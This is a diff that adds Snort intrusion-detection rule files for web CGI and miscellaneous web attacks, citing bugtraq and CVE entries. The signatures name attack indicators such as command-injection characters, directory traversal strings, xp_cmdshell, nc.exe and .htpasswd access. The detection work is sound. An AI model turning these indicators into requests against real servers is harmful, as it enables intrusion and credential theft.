+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI vpasswd.cgi access"; flow:to_server,established; uricontent:"/vpasswd.cgi"; reference:bugtraq,6038; reference:nessus,11165; classtype:web-application-activity; sid:1994; rev:3;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI alya.cgi access"; flow:to_server,established; uricontent:"/alya.cgi"; reference:nessus,11118; classtype:web-application-activity; sid:1995; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI viralator.cgi access"; flow:to_server,established; uricontent:"/viralator.cgi"; reference:bugtraq,3495; reference:cve,2001-0849; reference:nessus,11107; classtype:web-application-activity; sid:1996; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI smartsearch.cgi access"; flow:to_server,established; uricontent:"/smartsearch.cgi"; reference:bugtraq,7133; classtype:web-application-activity; sid:2001; rev:3;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI mrtg.cgi directory traversal attempt"; flow:to_server,established; uricontent:"/mrtg.cgi"; content:"cfg=/../"; reference:bugtraq,4017; reference:cve,2002-0232; reference:nessus,11001; classtype:web-application-attack; sid:1862; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI overflow.cgi access"; flow:to_server,established; uricontent:"/overflow.cgi"; reference:bugtraq,6326; reference:cve,2002-1361; reference:nessus,11190; reference:url,www.cert.org/advisories/CA-2002-35.html; classtype:web-application-activity; sid:2052; rev:5;)
+
+# NOTES: this signature looks for someone accessing the web application
+# "way-board.cgi".  This application allows attackers to view arbitrary
+# files that are readable with the privilages of the web server.
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI way-board.cgi access"; flow:to_server,established; uricontent:"/way-board.cgi"; nocase; reference:nessus,10610; classtype:web-application-activity; sid:1850; rev:3;)
+
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI process_bug.cgi access"; flow:to_server,established; uricontent:"/process_bug.cgi"; nocase; reference:bugtraq,3272; reference:cve,2002-0008; classtype:web-application-activity; sid:2053; rev:4;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI enter_bug.cgi arbitrary command attempt"; flow:to_server,established; uricontent:"/enter_bug.cgi"; nocase; content:"who="; content:"|3B|"; distance:0; reference:bugtraq,3272; reference:cve,2002-0008; classtype:web-application-attack; sid:2054; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI enter_bug.cgi access"; flow:to_server,established; uricontent:"/enter_bug.cgi"; nocase; reference:bugtraq,3272; reference:cve,2002-0008; classtype:web-application-activity; sid:2055; rev:3;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI parse_xml.cgi access"; flow:to_server,established; uricontent:"/parse_xml.cgi"; nocase; reference:bugtraq,6960; reference:cve,2003-0054; classtype:web-application-activity; sid:2085; rev:4;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS 1220 (msg:"WEB-CGI streaming server parse_xml.cgi access"; flow:to_server,established; content:"/parse_xml.cgi"; nocase; reference:bugtraq,6960; reference:cve,2003-0054; classtype:web-application-activity; sid:2086; rev:4;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI album.pl access"; flow:to_server,established; content:"/album.pl"; nocase; reference:bugtraq,7444; reference:nessus,11581; classtype:web-application-activity; sid:2115; rev:4;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI chipcfg.cgi access"; flow:to_server,established; uricontent:"/chipcfg.cgi"; nocase; reference:bugtraq,2767; reference:cve,2001-1341; reference:url,archives.neohapsis.com/archives/bugtraq/2001-05/0233.html; classtype:web-application-activity; sid:2116; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI ikonboard.cgi access"; flow:to_server,established; uricontent:"/ikonboard.cgi"; nocase; reference:bugtraq,7361; reference:nessus,11605; classtype:web-application-activity; sid:2127; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI swsrv.cgi access"; flow:to_server,established; uricontent:"/swsrv.cgi"; nocase; reference:bugtraq,7510; reference:cve,2003-0217; reference:nessus,11608; classtype:web-application-activity; sid:2128; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI CSMailto.cgi access"; flow:to_server,established; uricontent:"/CSMailto.cgi"; nocase; reference:bugtraq,4579; reference:bugtraq,6265; reference:cve,2002-0749; reference:nessus,11748; classtype:web-application-activity; sid:2194; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI alert.cgi access"; flow:to_server,established; uricontent:"/alert.cgi"; nocase; reference:bugtraq,4211; reference:bugtraq,4579; reference:cve,2002-0346; reference:nessus,11748; classtype:web-application-activity; sid:2195; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI catgy.cgi access"; flow:to_server,established; uricontent:"/alert.cgi"; nocase; reference:bugtraq,3714; reference:bugtraq,4579; reference:cve,2001-1212; reference:nessus,11748; classtype:web-application-activity; sid:2196; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI cvsview2.cgi access"; flow:to_server,established; uricontent:"/cvsview2.cgi"; nocase; reference:bugtraq,4579; reference:bugtraq,5517; reference:cve,2003-0153; reference:nessus,11748; classtype:web-application-activity; sid:2197; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI cvslog.cgi access"; flow:to_server,established; uricontent:"/cvslog.cgi"; nocase; reference:bugtraq,4579; reference:bugtraq,5517; reference:cve,2003-0153; reference:nessus,11748; classtype:web-application-activity; sid:2198; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI multidiff.cgi access"; flow:to_server,established; uricontent:"/multidiff.cgi"; nocase; reference:bugtraq,4579; reference:bugtraq,5517; reference:cve,2003-0153; reference:nessus,11748; classtype:web-application-activity; sid:2199; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI dnewsweb.cgi access"; flow:to_server,established; uricontent:"/dnewsweb.cgi"; nocase; reference:bugtraq,1172; reference:bugtraq,4579; reference:cve,2000-0423; reference:nessus,11748; classtype:web-application-activity; sid:2200; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI download.cgi access"; flow:to_server,established; uricontent:"/download.cgi"; nocase; reference:bugtraq,4579; reference:cve,1999-1377; reference:nessus,11748; classtype:web-application-activity; sid:2201; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI edit_action.cgi access"; flow:to_server,established; uricontent:"/edit_action.cgi"; nocase; reference:bugtraq,3698; reference:bugtraq,4579; reference:cve,2001-1196; reference:nessus,11748; classtype:web-application-activity; sid:2202; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI everythingform.cgi access"; flow:to_server,established; uricontent:"/everythingform.cgi"; nocase; reference:bugtraq,2101; reference:bugtraq,4579; reference:cve,2001-0023; reference:nessus,11748; classtype:web-application-activity; sid:2203; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI ezadmin.cgi access"; flow:to_server,established; uricontent:"/ezadmin.cgi"; nocase; reference:bugtraq,4068; reference:bugtraq,4579; reference:cve,2002-0263; reference:nessus,11748; classtype:web-application-activity; sid:2204; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI ezboard.cgi access"; flow:to_server,established; uricontent:"/ezboard.cgi"; nocase; reference:bugtraq,4068; reference:bugtraq,4579; reference:cve,2002-0263; reference:nessus,11748; classtype:web-application-activity; sid:2205; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI ezman.cgi access"; flow:to_server,established; uricontent:"/ezman.cgi"; nocase; reference:bugtraq,4068; reference:bugtraq,4579; reference:cve,2002-0263; reference:nessus,11748; classtype:web-application-activity; sid:2206; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI fileseek.cgi access"; flow:to_server,established; uricontent:"/fileseek.cgi"; nocase; reference:bugtraq,4579; reference:bugtraq,6784; reference:cve,2002-0611; reference:nessus,11748; classtype:web-application-activity; sid:2207; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI fom.cgi access"; flow:to_server,established; uricontent:"/fom.cgi"; nocase; reference:bugtraq,4579; reference:cve,2002-0230; reference:nessus,11748; classtype:web-application-activity; sid:2208; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI getdoc.cgi access"; flow:to_server,established; uricontent:"/getdoc.cgi"; nocase; reference:bugtraq,4579; reference:cve,2000-0288; reference:nessus,11748; classtype:web-application-activity; sid:2209; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI global.cgi access"; flow:to_server,established; uricontent:"/global.cgi"; nocase; reference:bugtraq,4579; reference:cve,2000-0952; reference:nessus,11748; classtype:web-application-activity; sid:2210; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI guestserver.cgi access"; flow:to_server,established; uricontent:"/guestserver.cgi"; nocase; reference:bugtraq,4579; reference:cve,2001-0180; reference:nessus,11748; classtype:web-application-activity; sid:2211; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI imageFolio.cgi access"; flow:to_server,established; uricontent:"/imageFolio.cgi"; nocase; reference:bugtraq,4579; reference:bugtraq,6265; reference:cve,2002-1334; reference:nessus,11748; classtype:web-application-activity; sid:2212; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI mailfile.cgi access"; flow:to_server,established; uricontent:"/mailfile.cgi"; nocase; reference:bugtraq,1807; reference:bugtraq,4579; reference:cve,2000-0977; reference:nessus,11748; classtype:web-application-activity; sid:2213; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI mailview.cgi access"; flow:to_server,established; uricontent:"/mailview.cgi"; nocase; reference:bugtraq,1335; reference:bugtraq,4579; reference:cve,2000-0526; reference:nessus,11748; classtype:web-application-activity; sid:2214; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI nsManager.cgi access"; flow:to_server,established; uricontent:"/nsManager.cgi"; nocase; reference:bugtraq,1710; reference:bugtraq,4579; reference:cve,2000-1023; reference:nessus,11748; classtype:web-application-activity; sid:2215; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI readmail.cgi access"; flow:to_server,established; uricontent:"/readmail.cgi"; nocase; reference:bugtraq,3427; reference:bugtraq,4579; reference:cve,2001-1283; reference:nessus,11748; classtype:web-application-activity; sid:2216; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI printmail.cgi access"; flow:to_server,established; uricontent:"/printmail.cgi"; nocase; reference:bugtraq,3427; reference:bugtraq,4579; reference:cve,2001-1283; reference:nessus,11748; classtype:web-application-activity; sid:2217; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI service.cgi access"; flow:to_server,established; uricontent:"/service.cgi"; nocase; reference:bugtraq,4211; reference:bugtraq,4579; reference:cve,2002-0346; reference:nessus,11748; classtype:web-application-activity; sid:2218; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI setpasswd.cgi access"; flow:to_server,established; uricontent:"/setpasswd.cgi"; nocase; reference:bugtraq,2212; reference:bugtraq,4579; reference:cve,2001-0133; reference:nessus,11748; classtype:web-application-activity; sid:2219; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI simplestmail.cgi access"; flow:to_server,established; uricontent:"/simplestmail.cgi"; nocase; reference:bugtraq,2106; reference:bugtraq,4579; reference:cve,2001-0022; reference:nessus,11748; classtype:web-application-activity; sid:2220; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI ws_mail.cgi access"; flow:to_server,established; uricontent:"/ws_mail.cgi"; nocase; reference:bugtraq,2861; reference:bugtraq,4579; reference:cve,2001-1343; reference:nessus,11748; classtype:web-application-activity; sid:2221; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI nph-exploitscanget.cgi access"; flow:to_server,established; uricontent:"/nph-exploitscanget.cgi"; nocase; reference:bugtraq,7910; reference:bugtraq,7911; reference:bugtraq,7913; reference:cve,2003-0434; reference:nessus,11740; classtype:web-application-activity; sid:2222; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI csNews.cgi access"; flow:to_server,established; uricontent:"/csNews.cgi"; nocase; reference:bugtraq,4994; reference:cve,2002-0923; reference:nessus,11726; classtype:web-application-activity; sid:2223; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI psunami.cgi access"; flow:to_server,established; uricontent:"/psunami.cgi"; nocase; reference:bugtraq,6607; reference:nessus,11750; classtype:web-application-activity; sid:2224; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI gozila.cgi access"; flow:to_server,established; uricontent:"/gozila.cgi"; nocase; reference:bugtraq,6086; reference:cve,2002-1236; reference:nessus,11773; classtype:web-application-activity; sid:2225; rev:3;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI quickstore.cgi access"; flow:to_server,established; uricontent:"/quickstore.cgi"; nocase; reference:bugtraq,9282; reference:nessus,11975; classtype:web-application-activity; sid:2323; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI view_broadcast.cgi access"; flow:to_server,established; uricontent:"/view_broadcast.cgi"; nocase; reference:bugtraq,8257; reference:cve,2003-0422; classtype:web-application-activity; sid:2387; rev:4;)
+# when we get por lists... merge this with 2387...
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS 1220 (msg:"WEB-CGI streaming server view_broadcast.cgi access"; flow:to_server,established; uricontent:"/view_broadcast.cgi"; nocase; reference:bugtraq,8257; reference:cve,2003-0422; classtype:web-application-activity; sid:2388; rev:4;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI CCBill whereami.cgi arbitrary command execution attempt"; flow:to_server,established; uricontent:"/whereami.cgi?g="; nocase; reference:bugtraq,8095; reference:url,secunia.com/advisories/9191/; classtype:web-application-attack; sid:2396; rev:4;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI CCBill whereami.cgi access"; flow:to_server,established; uricontent:"/whereami.cgi"; nocase; reference:bugtraq,8095; reference:url,secunia.com/advisories/9191/; classtype:web-application-activity; sid:2397; rev:4;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS 3000 (msg:"WEB-CGI MDaemon form2raw.cgi overflow attempt"; flow:to_server,established; uricontent:"/form2raw.cgi"; nocase; pcre:"/\Wfrom=[^\x3b&\n]{100}/si"; reference:bugtraq,9317; reference:url,secunia.com/advisories/10512/; classtype:web-application-attack; sid:2433; rev:3;)
+# the prevous rule looks for the attack, but we still want to catch the
+# scanners.  if we had port lists, this rule would be HTTP_PORTS and 3000
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI MDaemon form2raw.cgi access"; flow:to_server,established; content:"/form2raw.cgi"; nocase; reference:bugtraq,9317; reference:url,secunia.com/advisories/10512/; classtype:web-application-activity; sid:2434; rev:3;)
+
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI Emumail init.emu access"; flow:to_server,established; uricontent:"/init.emu"; nocase; reference:bugtraq,9861; reference:nessus,12095; classtype:web-application-activity; sid:2567; rev:3;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI Emumail emumail.fcgi access"; flow:to_server,established; uricontent:"/emumail.fcgi"; nocase; reference:bugtraq,9861; reference:nessus,12095; classtype:web-application-activity; sid:2568; rev:3;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI pgpmail.pl access"; flow:to_server,established; uricontent:"/pgpmail.pl"; reference:bugtraq,3605; reference:cve,2001-0937; reference:nessus,11070; classtype:web-application-activity; sid:2670; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI processit access"; flow:to_server,established; uricontent:"/processit.pl"; nocase; reference:nessus,10649; classtype:web-application-activity; sid:2668; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI WhatsUpGold instancename overflow attempt"; flow:to_server,established; uricontent:"/_maincfgret.cgi"; nocase; pcre:"/instancename=[^&\x3b\r\n]{513}/smi"; reference:bugtraq,11043; reference:cve,2004-0798; classtype:web-application-attack; sid:2663; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI ibillpm.pl access"; flow:to_server,established; uricontent:"/ibillpm.pl"; nocase; reference:bugtraq,3476; reference:nessus,11083; classtype:web-application-activity; sid:2669; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI NetScreen SA 5000 delhomepage.cgi access"; flow:to_server,established; uricontent:"/delhomepage.cgi"; reference:bugtraq,9791; classtype:web-application-activity; sid:3062; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI mailman directory traversal attempt"; flow:to_server,established; uricontent:"/mailman/"; uricontent:".../"; reference:cve,2005-0202; classtype:web-application-attack; sid:3131; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI awstats.pl command execution attempt"; flow:to_server,established; uricontent:"/awstats.pl?"; nocase; uricontent:"update="; pcre:"/update=[^\r\n\x26]+/Ui"; uricontent:"logfile="; nocase; pcre:"/awstats.pl?[^\r\n]*logfile=\x7C/Ui"; reference:bugtraq,12572; classtype:web-application-attack; sid:3464; rev:1;)
+# alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI Ipswitch WhatsUp Gold dos attempt"; flow:to_server,established; uricontent:"/prn"; nocase; pcre:"/\/prn\.(asp|cgi|html?)/Ui"; reference:bugtraq,11110; reference:cve,2004-0799; reference:url,www.idefense.com/application/poi/display?id=142&type=vulnerabilities; reference:url,www.ipswitch.com/Support/WhatsUp/patch-upgrades.html; reference:url,www.secunia.com/advisories/12578/; classtype:attempted-dos; sid:3469; rev:3;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI awstats access"; flow:to_server,established; uricontent:"/awstats.pl"; nocase; reference:bugtraq,12572; classtype:web-application-activity; sid:3463; rev:1;)
--- snort-2.8.5.2.orig/rules/web-misc.rules
+++ snort-2.8.5.2/rules/web-misc.rules
@@ -0,0 +1,443 @@
+# Copyright 2001-2005 Sourcefire, Inc. All Rights Reserved
+#
+# This file may contain proprietary rules that were created, tested and
+# certified by Sourcefire, Inc. (the "VRT Certified Rules") as well as
+# rules that were created by Sourcefire and other third parties and
+# distributed under the GNU General Public License (the "GPL Rules").  The
+# VRT Certified Rules contained in this file are the property of
+# Sourcefire, Inc. Copyright 2005 Sourcefire, Inc. All Rights Reserved.
+# The GPL Rules created by Sourcefire, Inc. are the property of
+# Sourcefire, Inc. Copyright 2002-2005 Sourcefire, Inc. All Rights
+# Reserved.  All other GPL Rules are owned and copyrighted by their
+# respective owners (please see www.snort.org/contributors for a list of
+# owners and their respective copyrights).  In order to determine what
+# rules are VRT Certified Rules or GPL Rules, please refer to the VRT
+# Certified Rules License Agreement.
+#
+#
+# $Id: web-misc.rules,v 1.118.2.8.2.6 2005/07/22 19:19:54 mwatchinski Exp $
+#---------------
+# WEB-MISC RULES
+#---------------
+
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS 443 (msg:"WEB-MISC SSLv2 Client_Hello with pad Challenge Length overflow attempt"; flow:to_server,established; flowbits:isnotset,sslv2.client_hello.request; flowbits:isnotset,sslv3.client_hello.request; flowbits:isnotset,tlsv1.client_hello.request; byte_test:1,<,128,0; content:"|01|"; depth:1; offset:3; byte_test:2,<,768,4; flowbits:set,sslv2.client_hello.request; byte_test:2,>,32,10; classtype:attempted-admin; sid:2657; rev:8;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS 443 (msg:"WEB-MISC SSLv2 Client_Hello Challenge Length overflow attempt"; flow:to_server,established; flowbits:isnotset,sslv2.client_hello.request; flowbits:isnotset,sslv3.client_hello.request; flowbits:isnotset,tlsv1.client_hello.request; byte_test:1,>,127,0; content:"|01|"; depth:1; offset:2; byte_test:2,<,768,3; flowbits:set,sslv2.client_hello.request; byte_test:2,>,32,9; classtype:attempted-admin; sid:2656; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC cross site scripting attempt"; flow:to_server,established; content:"<SCRIPT>"; nocase; classtype:web-application-attack; sid:1497; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC cross site scripting HTML Image tag set to javascript attempt"; flow:to_server,established; content:"img src=javascript"; nocase; reference:bugtraq,4858; reference:cve,2002-0902; classtype:web-application-attack; sid:1667; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC Cisco IOS HTTP configuration attempt"; flow:to_server,established; uricontent:"/level/"; uricontent:"/exec/"; reference:bugtraq,2936; reference:cve,2001-0537; classtype:web-application-attack; sid:1250; rev:11;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC Netscape Enterprise DOS"; flow:to_server,established; content:"REVLOG / "; depth:9; reference:bugtraq,2294; reference:cve,2001-0251; classtype:web-application-attack; sid:1047; rev:9;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC Netscape Enterprise directory listing attempt"; flow:to_server,established; content:"INDEX "; depth:6; reference:bugtraq,2285; reference:cve,2001-0250; classtype:web-application-attack; sid:1048; rev:9;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC iPlanet GETPROPERTIES attempt"; flow:to_server,established; content:"GETPROPERTIES"; depth:13; reference:bugtraq,2732; reference:cve,2001-0746; classtype:web-application-attack; sid:1050; rev:11;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC Tomcat view source attempt"; flow:to_server,established; uricontent:"%252ejsp"; reference:bugtraq,2527; reference:cve,2001-0590; classtype:web-application-attack; sid:1056; rev:8;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC ftp attempt"; flow:to_server,established; content:"ftp.exe"; nocase; classtype:web-application-activity; sid:1057; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC xp_enumdsn attempt"; flow:to_server,established; content:"xp_enumdsn"; nocase; classtype:web-application-attack; sid:1058; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC xp_filelist attempt"; flow:to_server,established; content:"xp_filelist"; nocase; classtype:web-application-attack; sid:1059; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC xp_availablemedia attempt"; flow:to_server,established; content:"xp_availablemedia"; nocase; classtype:web-application-attack; sid:1060; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC xp_cmdshell attempt"; flow:to_server,established; content:"xp_cmdshell"; nocase; classtype:web-application-attack; sid:1061; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC nc.exe attempt"; flow:to_server,established; content:"nc.exe"; nocase; classtype:web-application-activity; sid:1062; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC wsh attempt"; flow:to_server,established; content:"wsh.exe"; nocase; classtype:web-application-activity; sid:1064; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC rcmd attempt"; flow:to_server,established; uricontent:"rcmd.exe"; nocase; classtype:web-application-activity; sid:1065; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC telnet attempt"; flow:to_server,established; content:"telnet.exe"; nocase; classtype:web-application-activity; sid:1066; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC net attempt"; flow:to_server,established; content:"net.exe"; nocase; classtype:web-application-activity; sid:1067; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC tftp attempt"; flow:to_server,established; content:"tftp.exe"; nocase; classtype:web-application-activity; sid:1068; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC xp_regread attempt"; flow:to_server,established; content:"xp_regread"; nocase; classtype:web-application-activity; sid:1069; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC xp_regwrite attempt"; flow:to_server,established; content:"xp_regwrite"; nocase; classtype:web-application-activity; sid:1977; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC xp_regdeletekey attempt"; flow:to_server,established; content:"xp_regdeletekey"; nocase; classtype:web-application-activity; sid:1978; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC WebDAV search access"; flow:to_server,established; content:"SEARCH "; depth:8; nocase; reference:arachnids,474; reference:bugtraq,1756; reference:cve,2000-0951; classtype:web-application-activity; sid:1070; rev:9;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC .htpasswd access"; flow:to_server,established; content:".htpasswd"; nocase; classtype:web-application-attack; sid:1071; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC Lotus Domino directory traversal"; flow:to_server,established; uricontent:".nsf/"; uricontent:"../"; nocase; reference:bugtraq,2173; reference:cve,2001-0009; reference:nessus,12248; classtype:web-application-attack; sid:1072; rev:11;)
+# alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC webhits.exe access"; flow:to_server,established; uricontent:"/scripts/samples/search/webhits.exe"; nocase; reference:bugtraq,950; reference:cve,2000-0097; classtype:web-application-activity; sid:1073; rev:8;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC queryhit.htm access"; flow:to_server,established; uricontent:"/samples/search/queryhit.htm"; nocase; reference:nessus,10370; classtype:web-application-activity; sid:1077; rev:8;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC counter.exe access"; flow:to_server,established; uricontent:"/counter.exe"; nocase; reference:bugtraq,267; reference:cve,1999-1030; classtype:web-application-activity; sid:1078; rev:8;)
